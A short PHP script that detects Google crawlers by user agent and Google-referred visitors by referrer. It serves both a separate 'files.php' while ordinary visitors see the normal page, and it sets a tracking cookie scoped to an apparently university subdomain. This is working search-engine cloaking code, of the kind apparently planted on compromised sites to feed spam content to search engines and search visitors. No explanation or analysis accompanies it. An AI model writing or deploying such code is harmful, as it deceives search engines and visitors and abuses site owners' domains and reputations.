<?php
session_start();


$user_agent = $_SERVER['HTTP_USER_AGENT'];
$is_google_bot = false;


$google_bots = [
    'googlebot',
    'AdsBot-Google',
    'Mediapartners-Google',
    'Google-Read-Aloud',
    'DuplexWeb-Google',
    'googleweblight',
    'Storebot-Google',
    'Google-Site-Verification',
    'Google-InspectionTool'
];

foreach ($google_bots as $bot) {
    if (stripos($user_agent, $bot) !== false) {
        $is_google_bot = true;
        break;
    }
}


$referer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';
$from_google = (stripos($referer, 'google.') !== false);


$current_url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on' ? "https" : "http") . "://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]";


$is_refresh = isset($_SESSION['last_url']) && $_SESSION['last_url'] === $current_url;


$_SESSION['last_url'] = $current_url;


if ($is_google_bot) {
    include('files.php');
    exit;
}


if ($from_google && !$is_refresh) {
    setcookie('google_visit', '2', time() + 86400, '/', 'uniquip.uofn.edu', false, true);

    include('files.php');
    exit;
}